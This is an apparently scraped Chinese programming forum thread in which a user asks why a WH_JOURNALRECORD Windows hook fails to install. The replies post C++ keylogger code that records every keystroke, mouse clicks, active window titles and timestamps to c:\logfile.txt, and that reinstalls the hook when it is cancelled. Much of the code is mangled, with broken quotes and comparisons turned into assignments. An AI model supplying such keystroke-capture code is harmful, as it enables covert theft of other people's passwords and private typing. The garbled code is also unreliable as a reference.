我在同一进程中实现了JournalRecordProc用于实现键盘监控,没有用DLL,根据msdn上说WH_JOURNALRECORD是系统钩子,但为何无法安装SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,NULL,0); //安装日志钩子
SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,GetModuleHandle(NULL),0); //安装日志钩子
请问为何??????????
SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,GetModuleHandle(NULL),0); //安装日志钩子
请问为何??????????
解决方案 »
- 为何Windows7下VS2010创建的对话框程序,无法产生触摸屏右键功能?
- 关于EDIT控件的一个问题
- 本人最近接到一个小项目,想请教一下各位老鸟
- 出现以下错误怎么办?
- 关于CList类的,构造一个链表,每个节点是一个类对象,请问如何实现?
- 怎么用我的程序控制正在播放的powerpoint翻页,谢谢!
- 窗口A原来是在最前面的 但后来被窗口B覆盖了,窗口A会收到什么消息? 窗口A如何判断自己是在最前面而没有被其他窗口覆盖?(已知道窗口A句柄)
- 请教:如何从List Box控件中所选中的行读取的某列的值?
- 帮帮忙,在哪里可以下载vc的安装软件?
- 大虾们,救命啊,MFC中,当点关闭按钮或发WM_CLOSE消息时,窗口关闭,但是操作系统弹出一个报错对话框.怎么回事啊?俺是菜鸟!
- 如何呼叫出已隐藏的窗体,大家快来拿分!!!
- c#中 Invalidate函数使用问题
BYTE keytbl[256];
g_hLogHook=::SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,::GetModuleHandle(NULL),0);
if(g_hLogHook==NULL)
{
return -1;
}
while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE))
{
//先查看消息队列,以免阻塞
GetMessage(&msg,NULL,0,0); //PeekMessage、GetMessage、DispatchMessage三个函数的联合使用应该是处理Windows下消息的常用技巧。 if(msg.message==WM_CANCELJOURNAL)
{
//如果消息是取消日志钩子,则重设
SetKeyboardState(keytbl);
g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,::GetModuleHandle(NULL),0);
if(g_hLogHook==NULL)
{
return -1;
} }
else
{
DispatchMessage(&msg);
}
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值 3.在Button1的OnClick事件中输入: void __fastcall TForm1::Button1Click(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
} 4.在Button2的OnClick事件中输入: void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
} 5.输入钩子回调函数:
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存当前活动窗口句柄 char szTitle[256]; //当前窗口名称 char szTime[128]; //保存当前的日期和时间 FILE *stream="fopen(“c:\\logfile.txt”,"a+t");" if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt- >paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now())
.c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey+32;" else if (bShift) ch="vKey+32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小键盘0-9 if (bNumLock) fprintf(stream,"%c",vKey-96+48); if (vKey>=186 && vKey<=222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch=";" ; else ch=":" ;break; case 187:if (!bShift) ch="=" ; else ch="+" ;break; case 188:if (!bShift) ch="," ; else ch="<" ;break; case 189:if (!bShift) ch="-" ; else ch="_" ;break; case 190:if (!bShift) ch="." ; else ch=" >" ;break; case 191:if (!bShift) ch="/" ; else ch="?" ;break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="|" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" '; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向键 {switch (vKey) {case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN || pEvt- >message
==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}